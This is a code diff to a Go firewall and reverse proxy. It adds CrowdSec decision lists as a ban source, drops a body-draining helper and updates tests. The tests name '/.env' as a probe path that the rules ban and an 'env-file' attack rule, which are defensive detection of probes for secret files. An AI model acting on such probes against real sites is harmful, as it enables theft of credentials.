+		Scope    string `json:"scope"`
+		Type     string `json:"type"`
+		Value    string `json:"value"`
+	}
+
+	err := json.Unmarshal([]byte(strings.Join(lines, "\n")), &answer)
+	if err != nil {
+		return entries{}, fmt.Errorf("read the answer: %w", err)
+	}
+
+	found := entries{decisions: map[netip.Prefix]Decision{}}
+
+	for i, decision := range answer {
+		if decision.Type != "ban" ||
+			(decision.Scope != "Ip" && decision.Scope != "Range") {
+			continue
+		}
+
+		netblock, ok := parseNetblock(decision.Value)
+
+		duration, err := time.ParseDuration(decision.Duration)
+		if !ok || err != nil {
+			return entries{}, fmt.Errorf(
+				"decision %d %w",
+				i+1,
+				errNotDecision,
+			)
+		}
+
+		expires := fetched.Add(duration)
+		if expires.After(found.decisions[netblock].Expires) {
+			found.decisions[netblock] = Decision{
+				Expires:  expires,
+				Scenario: decision.Scenario,
+			}
+		}
+
+		if !slices.Contains(found.lengths, netblock.Bits()) {
+			found.lengths = append(found.lengths, netblock.Bits())
+		}
+	}
+
+	return found, nil
+}
+
 // withoutComment returns line without anything after a ; or a #, and
 // without the spaces around what is left.
 func withoutComment(line string) string {

internal/requestlog/requestlog.go

@@ -29,8 +29,9 @@ const (
 	ActionClientIsRateLimited = "client_is_rate_limited"
 
 	// ActionTemporarilyBanned is a request refused because a ban that runs
-	// out covers its client, or because it matched a ban rule or asked for a
+	// out covers its client, or because it matched a ban rule, asked for a
-	// trap path, and so made such a ban.
+	// trap path or the CrowdSec decision list lists its client, and so made
+	// such a ban.
 	ActionTemporarilyBanned = "temporarily_banned"
 
 	// ActionPermanentlyBanned is a request refused because a ban that never
@@ -183,7 +184,8 @@ type Line struct {
 	// LimitHitMinuteRefusals for the refusal limit.
 	LimitHit string `json:"limit_hit,omitempty"`
 	// Reputation are the URLs of the blocklists that list the client, then
-	// the DNSBL zones whose verdict lists it, their keys masked, then abuseipdb when its
+	// that of the CrowdSec decision list when it does, then the DNSBL zones
+	// whose verdict lists it, their keys masked, then abuseipdb when its
 	// score is a hit.
 	Reputation []string `json:"reputation,omitempty"`
 	// Tags are the request's tags, sorted.

internal/rproxy/limits_test.go

@@ -26,10 +26,6 @@ import (
 // post is the start of a POST whose headers end with what follows it.
 const post = "POST / HTTP/1.1\r\nHost: site.example\r\n"
 
-// limitPastFirstPart is a SWW_RPROXY_MAX_REQUEST_SIZE past the first part of a
-// body, the 64 KiB rproxy reads before it asks waf.
-const limitPastFirstPart = "128K"
-
 // announcedLength is the header that announces a body of size bytes, and the
 // end of the headers.
 func announcedLength(size int) string {
@@ -79,10 +75,7 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) {
 		size, asked int
 	}{
 		{"with the limit within the first part", "1K", 1025, 1024},
-		{
+		{"with the limit past the first part", "128K", 129 << 10, questionBodyMaxBytes},
-			"with the limit past the first part", limitPastFirstPart, 129 << 10,
-			questionBodyMaxBytes,
-		},
 	} {
 		t.Run(tc.name, func(t *testing.T) {
 			t.Parallel()
@@ -100,15 +93,10 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) {
 				},
 			)
 
-			// The visitor sends no Connection: close, so Go's server reads the rest
+			got := visit(t, newRequest(t, http.MethodPost, addr, "/",
-			// of the body before it closes the connection. Closed with the rest
+				bytes.NewReader(make([]byte, tc.size))))
-			// unread, the connection is reset while the visitor still sends.
+			if got.status != http.StatusRequestEntityTooLarge {
-			conn := dial(t, addr)
+				t.Errorf("answered %+v, want 413", got)
-			send(t, conn, post+announcedLength(tc.size)+
-				strings.Repeat("x", tc.size))
-
-			if status := readStatus(t, conn); status != http.StatusRequestEntityTooLarge {
-				t.Errorf("status %d, want 413", status)
 			}
 
 			if asked := standIn.question(t); len(asked.body) != tc.asked {
@@ -143,134 +131,6 @@ func TestADenyOutranksTheBodySizeLimit(t *testing.T) {
 	}
 }
 
-func TestAVisitorSendingConnectionCloseReadsAnAnswerBeforeTheRestOfItsBody(
-	t *testing.T,
-) {
-	t.Parallel()
-
-	for _, tc := range []struct {
-		name   string
-		waf    http.HandlerFunc
-		rest   int
-		status int
-	}{
-		{"over the size limit", allow, 65 << 10, http.StatusRequestEntityTooLarge},
-		{"denied", deny, 65 << 10, http.StatusForbidden},
-		// rproxy reads 256 KiB of this rest. What it leaves unread must fit in the
-		// connection's buffers. Otherwise the visitor is still sending when the
-		// connection closes, and gets a reset.
-		{
-			"with more than 256 KiB left", allow, 272 << 10,
-			http.StatusRequestEntityTooLarge,
-		},
-	} {
-		t.Run(tc.name, func(t *testing.T) {
-			t.Parallel()
-
-			standIn := startWAF(t, tc.waf)
-			app := startApp(t, func(http.ResponseWriter, *http.Request) {
-				t.Error("the app was asked")
-			})
-			addr, _ := startRProxy(t, standIn.URL, app.URL,
-				map[string]string{maxRequestSize: limitPastFirstPart})
-
-			conn := dial(t, addr)
-			send(t, conn, post+"Connection: close\r\n"+
-				announcedLength(questionBodyMaxBytes+tc.rest)+
-				strings.Repeat("x", questionBodyMaxBytes))
-
-			reader := bufio.NewReader(conn)
-
-			res, err := http.ReadResponse(reader, nil)
-			if err != nil {
-				t.Fatalf("read the answer: %v", err)
-			}
-
-			_, _ = io.Copy(io.Discard, res.Body)
-			_ = res.Body.Close()
-
-			if res.StatusCode != tc.status {
-				t.Errorf("status %d, want %d", res.StatusCode, tc.status)
-			}
-
-			// The rest goes in small parts, so that a reset fails a later one.
-			for sent := 0; sent < tc.rest; sent += 1 << 10 {
-				send(t, conn, strings.Repeat("x", 1<<10))
-			}
-
-			got, err := io.ReadAll(reader)
-			if err != nil || len(got) != 0 {
-				t.Errorf(
-					"after the answer, read %q and %v, want the end",
-					got,
-					err,
-				)
-			}
-		})
-	}
-}
-
-func TestCloseDoesNotWaitForTheRestOfTheBodyOfAVisitorSendingConnectionClose(
-	t *testing.T,
-) {
-	t.Parallel()
-
-	standIn := startWAF(t, func(w http.ResponseWriter, _ *http.Request) {
-		w.Header().Set(dispositionHeader, dispositionClose)
-		w.WriteHeader(http.StatusOK)
-	})
-	app := startApp(t, func(http.ResponseWriter, *http.Request) {
-		t.Error("the app was asked")
-	})
-	// The request time limit is far longer than dial's deadline.
-	addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
-		maxRequestTime: "120000",
-	})
-
-	conn := dial(t, addr)
-	send(t, conn, post+"Connection: close\r\n"+
-		announcedLength(2*questionBodyMaxBytes)+
-		strings.Repeat("x", questionBodyMaxBytes))
-
-	// If the connection stays open, dial's deadline ends this read with a timeout.
-	text, err := io.ReadAll(conn)
-	if err != nil || len(text) != 0 {
-		t.Errorf(
-			"read %q (%v), want the connection closed without an answer",
-			text,
-			err,
-		)
-	}
-}
-
-func TestAVisitorSendingConnectionCloseGetsTheEndOfAnAnswerWithoutContentLengthAtOnce(
-	t *testing.T,
-) {
-	t.Parallel()
-
-	standIn := startWAF(t, allow)
-	// The flush has the app's server send greeting in chunks instead of adding a
-	// Content-Length.
-	app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
-		rc := http.NewResponseController(w)
-		_ = rc.EnableFullDuplex()
-
-		_, _ = io.WriteString(w, greeting)
-		_ = rc.Flush()
-	})
-	// The request time limit is far longer than dial's deadline.
-	addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
-		maxRequestTime: "120000",
-	})
-
-	conn := dial(t, addr)
-	send(t, conn, post+"Connection: close\r\n"+
-		announcedLength(2*questionBodyMaxBytes)+
-		strings.Repeat("x", questionBodyMaxBytes+1))
-
-	wantGreeting(t, readAnswer(t, conn))
-}
-
 func TestABodyNotAnnouncedOverItsLimitIsRefused(t *testing.T) {
 	t.Parallel()
 
@@ -283,7 +143,7 @@ func TestABodyNotAnnouncedOverItsLimitIsRefused(t *testing.T) {
 		mayReachApp bool
 	}{
 		{"within the first part", "1K", 2 << 10, false},
-		{"past the first part", limitPastFirstPart, 129 << 10, true},
+		{"past the first part", "128K", 129 << 10, true},
 	} {
 		t.Run(tc.name, func(t *testing.T) {
 			t.Parallel()

internal/rproxy/request.go

@@ -38,10 +38,6 @@ const plainText = "text/plain; charset=utf-8"
 // and the visitor then gets a closed connection and no answer.
 const minSendTime = 10 * time.Second
 
-// maxBodyReadAfterAnswer is the most of a body left unread that Go's server
-// reads once the handler returns, for a visitor without Connection: close.
-const maxBodyReadAfterAnswer = 256 << 10
-
 // errResponseTooLate refuses an app's answer that arrives once
 // SWW_RPROXY_MAX_RESPONSE_TIME_MS has run out.
 var errResponseTooLate = errors.New(
@@ -343,8 +339,8 @@ func (rq *request) answer(status int) {
 	}
 
 	// A visitor found too slow is read no more; any other may go on sending until
-	// its time is up, so that the rest of the body is read and the request ends
+	// its time is up, so that Go's server can read the rest of the body and end
-	// cleanly: by Go's server, or by readRestOfBody.
+	// the request cleanly.
 	deadline := rq.requestDeadline()
 	if status == http.StatusRequestTimeout {
 		deadline = time.Now()
@@ -528,35 +524,10 @@ func (rq *request) stopReadingBody(deadline time.Time) {
 	_ = rq.rc.SetReadDeadline(deadline)
 }
 
-// readRestOfBody reads up to 256 KiB of the rest of the body once the visitor
-// has been answered with a Content-Length, until the read deadline already set on
-// the connection. It does this only for a body with a declared length from a
-// visitor that sent Connection: close, because Go's server reads none of that
-// rest. Without the read, the visitor, still sending, gets a reset and may never
-// read the answer. Go's server ends an answer without a Content-Length only once
-// the handler returns, so reading first would hold back the end of that answer.
-// Past 256 KiB, the MaxBytesReader made with Go's own ResponseWriter has Go's
-// server tell the visitor it sends no more, then wait 500 ms before it closes
-// the connection.
-func (rq *request) readRestOfBody() {
-	if !rq.in.Close || rq.in.ContentLength <= 0 || rq.body.received.Load() ||
-		rq.out.Header().Get("Content-Length") == "" ||
-		rq.out.status == http.StatusSwitchingProtocols {
-		return
-	}
-
-	rest := http.MaxBytesReader(
-		rq.out.ResponseWriter,
-		rq.in.Body,
-		maxBodyReadAfterAnswer,
-	)
-	_, _ = io.Copy(io.Discard, rest)
-}
-
 // stopPassingOnBody ends the transport's reading of a visitor's body that has
-// not arrived whole, and lets Go's server, or readRestOfBody, read the rest until
+// not arrived whole, and lets Go's server read the rest until deadline. Go's
-// deadline. Go's server reads it once the handler returns, but with no deadline
+// server reads it once the handler returns, but with no deadline at all if
-// at all if another read of it is still waiting.
+// another read of it is still waiting.
 func (rq *request) stopPassingOnBody(deadline time.Time) {
 	if rq.body == nil || rq.body.received.Load() {
 		return

internal/rproxy/rproxy.go

@@ -110,7 +110,8 @@ func New(params Params) *Server {
 
 // WaitForReports returns once the reports being sent have gone or failed,
 // which SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS bounds. Any report after this call
-// is dropped: that of a WebSocket that closes while rproxy stops, for one.
+// is dropped: that of
+// a WebSocket that closes while rproxy stops, for one.
 func (s *Server) WaitForReports() {
 	s.h.reportsMu.Lock()
 	s.h.reportsStopped = true
@@ -170,7 +171,6 @@ func newWAFTransport() *http.Transport {
 // it writes the request's log line and sends its report.
 func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
 	rq := h.newRequest(w, r)
-	defer rq.readRestOfBody()
 	defer rq.finish(r.Context())
 
 	if r.Method == http.MethodGet && r.URL.Path == waf.HealthPath {

internal/rproxy/rproxy_test.go

@@ -44,13 +44,13 @@ const (
 
 // The settings the tests set.
 const (
-	wafBackendTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
+	timeoutSetting  = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
-	noAnswerSetting   = "SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION"
+	noAnswerSetting = "SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION"
-	trustedProxies    = "SWW_RPROXY_TRUSTED_PROXIES"
+	trustedProxies  = "SWW_RPROXY_TRUSTED_PROXIES"
-	maxRequestSize    = "SWW_RPROXY_MAX_REQUEST_SIZE"
+	maxRequestSize  = "SWW_RPROXY_MAX_REQUEST_SIZE"
-	maxResponseSize   = "SWW_RPROXY_MAX_RESPONSE_SIZE"
+	maxResponseSize = "SWW_RPROXY_MAX_RESPONSE_SIZE"
-	maxRequestTime    = "SWW_RPROXY_MAX_REQUEST_TIME_MS"
+	maxRequestTime  = "SWW_RPROXY_MAX_REQUEST_TIME_MS"
-	maxResponseTime   = "SWW_RPROXY_MAX_RESPONSE_TIME_MS"
+	maxResponseTime = "SWW_RPROXY_MAX_RESPONSE_TIME_MS"
 )
 
 // The headers the tests set and look at.
@@ -956,8 +956,7 @@ func answeringWith(answer http.HandlerFunc) func(t *testing.T) string {
 	}
 }
 
-// noAnswers are the ways waf can leave the decision to
+// noAnswers are the ways waf can leave the decision to the default.
-// SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION.
 func noAnswers() map[string]func(t *testing.T) string {
 	return map[string]func(t *testing.T) string{
 		"no connection": func(*testing.T) string { return nowhere },
@@ -1009,8 +1008,7 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) {
 		{"an unknown disposition", "maybe", "who knows\n", http.StatusOK},
 	} {
 		for _, setting := range []string{dispositionAllow, dispositionDeny} {
-			subtest := tc.name + " with " + noAnswerSetting + "=" + setting
+			t.Run(tc.name+" with the default "+setting, func(t *testing.T) {
-			t.Run(subtest, func(t *testing.T) {
 				t.Parallel()
 
 				standIn := startWAF(
@@ -1051,7 +1049,7 @@ func TestAnAnswerOtherThanAllowGoesToTheVisitorAsWAFGaveIt(t *testing.T) {
 				if line["status"] != float64(tc.status) ||
 					line["waf_backend_no_answer"] != nil {
 					t.Errorf(
-						"line %v, want status %d and no waf_backend_no_answer",
+						"line %v, want status %d and no default",
 						line,
 						tc.status,
 					)
@@ -1111,7 +1109,7 @@ func TestAnAnswerOf1MiBGoesToTheVisitor(t *testing.T) {
 		_, _ = w.Write(make([]byte, size))
 	})
 	addr, _ := startRProxy(t, standIn.URL, nowhere, map[string]string{
-		wafBackendTimeout: "60000",
+		timeoutSetting: "60000",
 	})
 
 	got := get(t, addr, "/")
@@ -1204,8 +1202,7 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
 		"a 101 that holds its connection open": answeringWith(switchAndHold),
 	} {
 		for _, setting := range []string{dispositionAllow, dispositionDeny} {
-			subtest := name + " with " + noAnswerSetting + "=" + setting
+			t.Run(name+" with the default "+setting, func(t *testing.T) {
-			t.Run(subtest, func(t *testing.T) {
 				t.Parallel()
 
 				app := startApp(t, func(http.ResponseWriter, *http.Request) {
@@ -1216,8 +1213,8 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
 					backend(t),
 					app.URL,
 					map[string]string{
-						wafBackendTimeout: "60000",
+						timeoutSetting:  "60000",
-						noAnswerSetting:   setting,
+						noAnswerSetting: setting,
 					},
 				)
 
@@ -1245,7 +1242,7 @@ func TestAnAnswerThatCannotBePassedOnGetsNoReport(t *testing.T) {
 
 	standIn := startWAF(t, overOneMiB(dispositionDeny))
 	addr, out := startRProxy(t, standIn.URL, nowhere, map[string]string{
-		wafBackendTimeout: "60000",
+		timeoutSetting: "60000",
 	})
 
 	if got := get(t, addr, "/"); got.status != http.StatusBadGateway {
@@ -1256,9 +1253,7 @@ func TestAnAnswerThatCannotBePassedOnGetsNoReport(t *testing.T) {
 	standIn.wantNoReport(t)
 }
 
-func TestWithoutAnAnswerTheWAFBackendNoAnswerDispositionDecides(
+func TestWithoutAnAnswerTheDefaultDispositionDecides(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	for name, backend := range noAnswers() {
@@ -1271,7 +1266,7 @@ func TestWithoutAnAnswerTheWAFBackendNoAnswerDispositionDecides(
 				backend(t),
 				app.URL,
 				map[string]string{
-					wafBackendTimeout: "200",
+					timeoutSetting: "200",
 				},
 			)
 
@@ -1280,10 +1275,7 @@ func TestWithoutAnAnswerTheWAFBackendNoAnswerDispositionDecides(
 			line := out.requestLine(t)
 			if line["disposition"] != dispositionAllow ||
 				line["waf_backend_no_answer"] != true {
-				t.Errorf(
+				t.Errorf("line %v, want allow by default", line)
-					"line %v, want allow and waf_backend_no_answer",
-					line,
-				)
 			}
 		})
 
@@ -1298,8 +1290,8 @@ func TestWithoutAnAnswerTheWAFBackendNoAnswerDispositionDecides(
 				backend(t),
 				app.URL,
 				map[string]string{
-					wafBackendTimeout: "200",
+					timeoutSetting:  "200",
-					noAnswerSetting:   dispositionDeny,
+					noAnswerSetting: dispositionDeny,
 				},
 			)
 
@@ -1311,20 +1303,17 @@ func TestWithoutAnAnswerTheWAFBackendNoAnswerDispositionDecides(
 			line := out.requestLine(t)
 			if line["disposition"] != dispositionDeny ||
 				line["waf_backend_no_answer"] != true {
-				t.Errorf(
+				t.Errorf("line %v, want deny by default", line)
-					"line %v, want deny and waf_backend_no_answer",
-					line,
-				)
 			}
 		})
 	}
 }
 
-func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDisposition(t *testing.T) {
+func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDefault(t *testing.T) {
 	t.Parallel()
 
 	for _, disposition := range []string{dispositionAllow, dispositionDeny} {
-		t.Run(noAnswerSetting+"="+disposition, func(t *testing.T) {
+		t.Run("with the default "+disposition, func(t *testing.T) {
 			t.Parallel()
 
 			standIn := startWAF(
@@ -1341,8 +1330,8 @@ func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDisposition(t *testing.T) {
 				standIn.URL,
 				app.URL,
 				map[string]string{
-					wafBackendTimeout: "60000",
+					timeoutSetting:  "60000",
-					noAnswerSetting:   disposition,
+					noAnswerSetting: disposition,
 				},
 			)
 
@@ -1367,9 +1356,7 @@ func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDisposition(t *testing.T) {
 	}
 }
 
-func TestRProxyWarnsWhenTheWAFBackendNoAnswerDispositionDecides(
+func TestRProxyWarnsWhenTheDefaultDecides(t *testing.T) {
-	t *testing.T,
-) {
 	t.Parallel()
 
 	app := startApp(t, greet)
@@ -1387,7 +1374,7 @@ func TestSendsNoReportWithoutAnAnswer(t *testing.T) {
 	})
 	app := startApp(t, greet)
 	addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
-		wafBackendTimeout: "200",
+		timeoutSetting: "200",
 	})
 
 	wantGreeting(t, get(t, addr, "/"))
@@ -1451,7 +1438,7 @@ func TestTheVisitorDoesNotWaitForTheReport(t *testing.T) {
 
 	app := startApp(t, greet)
 	addr, _ := startRProxy(t, backend, app.URL, map[string]string{
-		wafBackendTimeout: "60000",
+		timeoutSetting: "60000",
 	})
 
 	t.Cleanup(func() { close(release) })
@@ -1494,7 +1481,7 @@ func TestAReportWAFLeavesUnansweredIsDroppedAtTheTimeLimit(t *testing.T) {
 	// The time limit is long enough for a loaded host to answer the question before
 	// it runs out.
 	addr, out := startRProxy(t, backend, app.URL, map[string]string{
-		wafBackendTimeout: "3000",
+		timeoutSetting: "3000",
 	})
 
 	t.Cleanup(func() { close(release) })
@@ -1524,7 +1511,7 @@ func TestAReportAnswered101IsDroppedAtOnce(t *testing.T) {
 	backend := startWAFAnsweringReports(t, allow, switchAndHold)
 	app := startApp(t, greet)
 	addr, out := startRProxy(t, backend, app.URL, map[string]string{
-		wafBackendTimeout: "60000",
+		timeoutSetting: "60000",
 	})
 
 	wantGreeting(t, get(t, addr, "/"))
@@ -1612,7 +1599,7 @@ func TestWaitForReportsWaitsForAReportBeingSent(t *testing.T) {
 		backend.URL,
 		app.URL,
 		map[string]string{
-			wafBackendTimeout: "5000",
+			timeoutSetting: "5000",
 		},
 	)
 

internal/state/state.go

@@ -104,7 +104,7 @@ var (
 	errVersion = errors.New("unknown version")
 	// errMissing is for an entry without a field it needs.
 	errMissing     = errors.New("has no")
-	errCause       = errors.New("is not limit, attack or admin")
+	errCause       = errors.New("is not limit, attack, admin or crowdsec")
 	errExpires     = errors.New("is not after its start")
 	errDestination = errors.New("is not webhook, slack or ntfy")
 	errScope       = errors.New(
@@ -967,7 +967,7 @@ func (e BanEntry) ban() bans.Ban {
 // each expires is read again as written. An expires not after the start
 // is refused too, since the netblock's next ban for a broken limit, three
 // times as long as this one, would then refuse nothing; and so is a cause
-// other than limit, attack or admin, most likely misspelt.
+// other than limit, attack, admin or crowdsec, most likely misspelt.
 func (f *bansFile) check(data []byte) error {
 	var written struct {
 		Bans []struct {
@@ -991,7 +991,8 @@ func (f *bansFile) check(data []byte) error {
 		case entry.Expires != nil && !entry.Expires.After(entry.Start):
 			return fmt.Errorf("entry %d's expires %w", i+1, errExpires)
 		case entry.Cause != "" && entry.Cause != bans.CauseLimit &&
-			entry.Cause != bans.CauseAttack && entry.Cause != bans.CauseAdmin:
+			entry.Cause != bans.CauseAttack && entry.Cause != bans.CauseAdmin &&
+			entry.Cause != bans.CauseCrowdSec:
 			return fmt.Errorf(
 				"entry %d's cause %q %w",
 				i+1,

internal/state/state_test.go

@@ -114,7 +114,8 @@ const permanentBansJSON = `{
                 "earlier_bans": {
                     "limit": 3,
                     "attack": 1,
-                    "admin": 1
+                    "admin": 1,
+                    "crowdsec": 2
                 }
             }
         }
@@ -1187,10 +1188,10 @@ func TestBanWithAnotherCauseStopsTheStart(t *testing.T) {
 		`{"netblock": "203.0.113.10/32", "start": "2026-10-06T00:00:00Z", `+
 		`"expires": null, "cause": "admin"}, `+
 		`{"netblock": "203.0.113.11/32", "start": "2026-10-06T00:00:00Z", `+
-		`"expires": "2026-10-06T04:00:00Z", "cause": "limit"}, `+
+		`"expires": "2026-10-06T04:00:00Z", "cause": "crowdsec"}, `+
 		`{"netblock": "203.0.113.12/32", "start": "2026-10-06T00:00:00Z", `+
 		`"expires": null, "cause": "atack"}]}`,
-		`: entry 4's cause "atack" is not limit, attack or admin`)
+		`: entry 4's cause "atack" is not limit, attack, admin or crowdsec`)
 }
 
 func TestBanThatDoesNotEndAfterItsStartStopsTheStart(t *testing.T) {
@@ -2465,8 +2466,9 @@ func office() netip.Prefix {
 	return netip.MustParsePrefix("203.0.113.0/24")
 }
 
-// fill puts a permanent ban an admin made, a ban for a broken limit and one
+// fill puts a permanent ban an admin made, a ban for a broken limit, one
-// for a clear sign of attack, clients with counts and histories,
+// for a clear sign of attack and one for CrowdSec's decision, clients
+// with counts and histories,
 // GeoJS answers, the blocklists' last tries and the copy of one, two
 // verdicts of a DNSBL zone, the AbuseIPDB checks spent today with two
 // scores, and two answers of routewatch, as filledListsJSON,
@@ -2483,6 +2485,13 @@ func fill(params state.Params) {
 	})
 	params.Ledger.BanForAttack(netip.MustParsePrefix("192.0.2.1/32"), now,
 		bans.Notes{RuleID: "env-file", Target: "path"})
+	params.Ledger.BanForCrowdSec(
+		netip.MustParsePrefix("198.51.100.9/32"),
+		now,
+		now.Add(4*time.Hour),
+		"crowdsecurity/ssh-bf",
+		bans.Notes{},
+	)
 
 	for _, c := range []string{"2001:db8::/64", "203.0.113.9/32", "192.0.2.1/32"} {
 		params.Limiter.Count(netip.MustParsePrefix(c), now, whole)
@@ -2625,9 +2634,10 @@ func permanentBan() bans.Ban {
 			Requests: 1500,
 			Refused:  3,
 			EarlierBans: bans.EarlierBans{
-				Limit:  3,
+				Limit:    3,
-				Attack: 1,
+				Attack:   1,
-				Admin:  1,
+				Admin:    1,
+				CrowdSec: 2,
 			},
 		},
 	}

internal/sww/rproxy.go

@@ -16,10 +16,10 @@ import (
 // RunRProxy is `sww rproxy`: it reads rproxy's settings, then serves
 // requests until ctx is done. Then it gives the requests in progress
 // shutdownTimeout to finish, and the reports being sent
-// SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS. It returns the process's exit status, 1
+// SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS. It
-// when rproxy cannot start. Its process messages name the host's name as
+// returns the process's exit status, 1 when rproxy cannot start. Its process
-// instance, and it writes those at info or more severe: rproxy has no
+// messages name the host's name as instance, and it writes those at info or
-// setting for either.
+// more severe: rproxy has no setting for either.
 func RunRProxy(ctx context.Context, params Params) int {
 	hostname, _ := os.Hostname() // "" when the host has no name to give
 	processLog := requestlog.NewProcessLogger(

internal/sww/rproxy_test.go

@@ -31,8 +31,8 @@ const (
 	rproxyListenAddr = "SWW_RPROXY_LISTEN_ADDR"
 	// rproxyUpstreamURL is the setting that says where the app is.
 	rproxyUpstreamURL = "SWW_RPROXY_UPSTREAM_URL"
-	// wafBackendTimeout is the setting that says how long rproxy waits for waf.
+	// rproxyTimeout is the setting that says how long rproxy waits for waf.
-	wafBackendTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
+	rproxyTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
 	// bannedProbe is a path the default rule file bans a client for.
 	bannedProbe = "/.env"
 	// otherClient is a client the tests do not ban.
@@ -241,8 +241,7 @@ func TestTheSiteAnswersWhileWAFIsStoppedAndStartedAgain(t *testing.T) {
 	forwardTo("")
 	stop()
 
-	// With waf down, the site answers, and rproxy says
+	// With waf down, the site answers, and rproxy says the default did it.
-	// SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION did it.
 	wantStatus(t, site+"/after-stop", placed, http.StatusOK)
 
 	line := out.line(t, "path", "/after-stop")
@@ -692,7 +691,7 @@ func TestRProxyStoppingWaitsForAReportBeingSent(t *testing.T) {
 	env := map[string]string{
 		rproxyListenAddr:          localhost + ":0",
 		"SWW_RPROXY_UPSTREAM_URL": startApp(t),
-		wafBackendTimeout:         "60000",
+		rproxyTimeout:             "60000",
 		wafBackend:                backend.URL,
 	}
 	out := &output{}
@@ -856,8 +855,8 @@ func TestRProxyInvalidSettingStopsTheStart(t *testing.T) {
 	}{
 		{"no backend", wafBackend, nil},
 		{
-			"another invalid", wafBackendTimeout,
+			"another invalid", rproxyTimeout,
-			map[string]string{wafBackend: "http://waf:8080", wafBackendTimeout: "soon"},
+			map[string]string{wafBackend: "http://waf:8080", rproxyTimeout: "soon"},
 		},
 	} {
 		t.Run(tc.name, func(t *testing.T) {

internal/sww/sww.go

@@ -340,11 +340,11 @@ func newAlertQueue(
 // SWW_WAF_LOG_REMOTE_URL, with the settings for it.
 func newRemoteLogSender(cfg *config.WAF) *remotelog.Sender {
 	return remotelog.New(remotelog.Params{
-		URL:         cfg.LogRemoteURL,
+		URL:      cfg.LogRemoteURL,
-		RootCAs:     cfg.LogRemoteTLSCAs,
+		RootCAs:  cfg.LogRemoteTLSCAs,
-		BufferLines: cfg.LogRemoteBufferLines,
+		Buffer:   cfg.LogRemoteBufferLines,
-		Facility:    cfg.LogRemoteFacility,
+		Facility: cfg.LogRemoteFacility,
-		AppName:     cfg.LogRemoteAppName,
+		AppName:  cfg.LogRemoteAppName,
 	})
 }
 

internal/sww/sww_internal_test.go

@@ -66,7 +66,7 @@ func stopHeldSender(t *testing.T, release time.Duration) time.Duration {
 			Scheme: remotelog.SchemeTCP,
 			Host:   "127.0.0.1:65536",
 		},
-		BufferLines: 1,
+		Buffer: 1,
 	})
 
 	stopSending := startSending(t.Context(), sender,

internal/sww/sww_test.go

@@ -602,7 +602,7 @@ func TestRuleFileThatDoesNotParseStopsTheStart(t *testing.T) {
 	)
 }
 
-func TestRuleFilesDirThatDoesNotExistStopsTheStart(t *testing.T) {
+func TestRulesDirThatDoesNotExistStopsTheStart(t *testing.T) {
 	t.Parallel()
 
 	dir := filepath.Join(t.TempDir(), "rules.d")
@@ -847,6 +847,92 @@ func TestBlocklistTriesAndCopiesKeptInListsJSONAcrossRestarts(t *testing.T) {
 	}
 }
 
+func TestCrowdSecDecisionListKeptInListsJSONAcrossARestart(t *testing.T) {
+	t.Parallel()
+
+	const bouncerKey = "crowdsec-key-0123456789abcdef"
+
+	// A stand-in for the engine's local API, which bans 203.0.113.0/24 for
+	// four hours, and answers only a request with its key, while it is up.
+	down := new(atomic.Bool)
+	engine := httptest.NewServer(http.HandlerFunc(
+		func(w http.ResponseWriter, r *http.Request) {
+			switch {
+			case r.URL.Path != "/v1/decisions" || r.Header.Get("X-Api-Key") != bouncerKey:
+				w.WriteHeader(http.StatusForbidden)
+			case down.Load():
+				w.WriteHeader(http.StatusServiceUnavailable)
+			default:
+				_, _ = io.WriteString(
+					w,
+					`[{"duration": "4h0m0s", "origin": "crowdsec", `+
+						`"scenario": "crowdsecurity/http-probing", "scope": "Range", `+
+						`"type": "ban", "value": "203.0.113.0/24"}]`,
+				)
+			}
+		}))
+	t.Cleanup(engine.Close)
+
+	dir, cache := t.TempDir(), t.TempDir()
+	env := map[string]string{
+		listenAddr:                  localhost + ":0",
+		stateDir:                    dir,
+		cacheDir:                    cache,
+		ruleFilesDir:                t.TempDir(),
+		"SWW_WAF_CROWDSEC_LAPI_URL": engine.URL,
+		"SWW_WAF_CROWDSEC_LAPI_KEY": bouncerKey,
+	}
+
+	// Once the list is fetched, the client's request bans it.
+	first := runUntilStopped(t, env, func(url string) {
+		for statusFrom(t, url, placed) != http.StatusForbidden {
+			time.Sleep(pollInterval)
+		}
+	})
+
+	ban := onlyBan(t, dir)
+	if ban["netblock"] != placed+"/32" || ban["cause"] != "crowdsec" ||
+		ban["reason"] != "CrowdSec's decision for crowdsecurity/http-probing" {
+		t.Errorf(
+			"bans.json holds %v, want the ban for crowdsec on %s",
+			ban,
+			placed,
+		)
+	}
+
+	// Restarted with the engine down, the copy kept in lists.json bans
+	// another client in the netblock from its first request.
+	down.Store(true)
+
+	second := runUntilStopped(t, env, func(url string) {
+		wantStatus(t, url, "203.0.113.10", http.StatusForbidden)
+	})
+
+	// The key is in neither run's output, nor in a state or cache file.
+	files := []string{
+		filepath.Join(dir, "bans.json"), filepath.Join(dir, "clients.json"),
+		filepath.Join(cache, "lists.json"),
+	}
+	shown := make([]string, 0, len(files)+2)
